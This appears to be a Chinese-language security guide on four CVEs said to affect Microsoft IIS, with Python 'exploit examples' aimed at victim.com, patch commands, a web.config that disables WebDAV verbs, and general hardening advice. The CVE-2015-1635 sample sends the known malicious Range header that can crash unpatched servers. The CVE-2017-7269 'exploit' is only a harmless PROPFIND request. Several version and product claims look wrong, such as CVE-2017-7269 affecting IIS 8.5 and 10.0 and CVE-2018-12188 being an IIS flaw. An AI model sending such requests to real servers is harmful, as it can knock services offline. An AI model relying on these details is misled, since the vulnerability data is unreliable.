1. CVE-2015-1635:HTTP.sys 远程代码执行漏洞
- 描述:攻击者可以通过发送特制的 HTTP 请求利用 HTTP.sys 漏洞在目标服务器上执行任意代码。
- 影响版本:IIS 8.0、8.5 和 10.0。
- 利用方法:发送特制的请求到目标服务器,例如利用
Range
头字段中的特制值。 - 修复方法:应用安全更新 MS15-034。
利用示例:
import requests
headers = {
'Range': 'bytes=0-18446744073709551615'
}
response = requests.get('http://victim.com', headers=headers)
print(response.status_code)
修复方法:
# Windows 更新命令
wuauclt /detectnow /updatenow
2. CVE-2017-7269:WebDAV 远程代码执行漏洞
- 描述:IIS 的 WebDAV 服务存在漏洞,攻击者可以通过特制请求执行任意代码。
- 影响版本:IIS 6.0 及以上版本,包括 8.5 和 10.0。
- 利用方法:发送特制的 WebDAV 请求。
- 修复方法:应用相关的安全更新。如果不使用 WebDAV,建议禁用它。
利用示例:
import requests
payload = "<?xml version=\"1.0\"?><propfind xmlns=\"DAV:\"><prop><propname/></prop></propfind>"
headers = {
'Content-Length': str(len(payload)),
'Content-Type': 'text/xml'
}
response = requests.request('PROPFIND', 'http://victim.com', headers=headers, data=payload)
print(response.status_code)
修复方法:
# 禁用 WebDAV 方法
<configuration>
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb="PROPFIND" allowed="false" />
<add verb="PROPPATCH" allowed="false" />
<add verb="MKCOL" allowed="false" />
<add verb="COPY" allowed="false" />
<add verb="MOVE" allowed="false" />
<add verb="LOCK" allowed="false" />
<add verb="UNLOCK" allowed="false" />
</verbs>
</requestFiltering>
</security>
</system.webServer>
</configuration>
3. CVE-2019-0941:IIS 身份验证绕过漏洞
- 描述:IIS 10.0 在特定情况下处理身份验证时存在绕过漏洞,攻击者可以利用该漏洞绕过身份验证。
- 影响版本:IIS 10.0。
- 利用方法:通过特制的请求利用身份验证处理中的漏洞。
- 修复方法:应用最新的安全更新。
修复方法:
# Windows 更新命令
wuauclt /detectnow /updatenow
4. CVE-2018-12188:IIS 安全功能绕过漏洞
- 描述:IIS 通过错误处理标头的方式使得攻击者可以绕过某些安全功能。
- 影响版本:IIS 10.0。
- 利用方法:发送特制的请求来利用错误处理中的漏洞。
- 修复方法:应用最新的安全更新。
修复方法:
# Windows 更新命令
wuauclt /detectnow /updatenow
综合防御措施
除了针对特定漏洞的修补,以下是一些综合的防御措施:
- 保持系统和软件更新:定期检查并安装微软发布的所有安全更新。
- 最小化攻击面:禁用不必要的 IIS 功能和模块,例如 WebDAV,如果不使用的话。
- 启用防火墙和入侵检测系统(IDS):配置防火墙规则,阻止不必要的端口和服务。使用 IDS 监控和防范潜在的攻击。
- 应用安全配置:确保 IIS 的安全配置按照最佳实践进行,例如使用 SSL/TLS 加密通信,设置严格的权限和访问控制。
- 日志和监控:启用详细的日志记录,定期审查日志以检测和响应异常活动。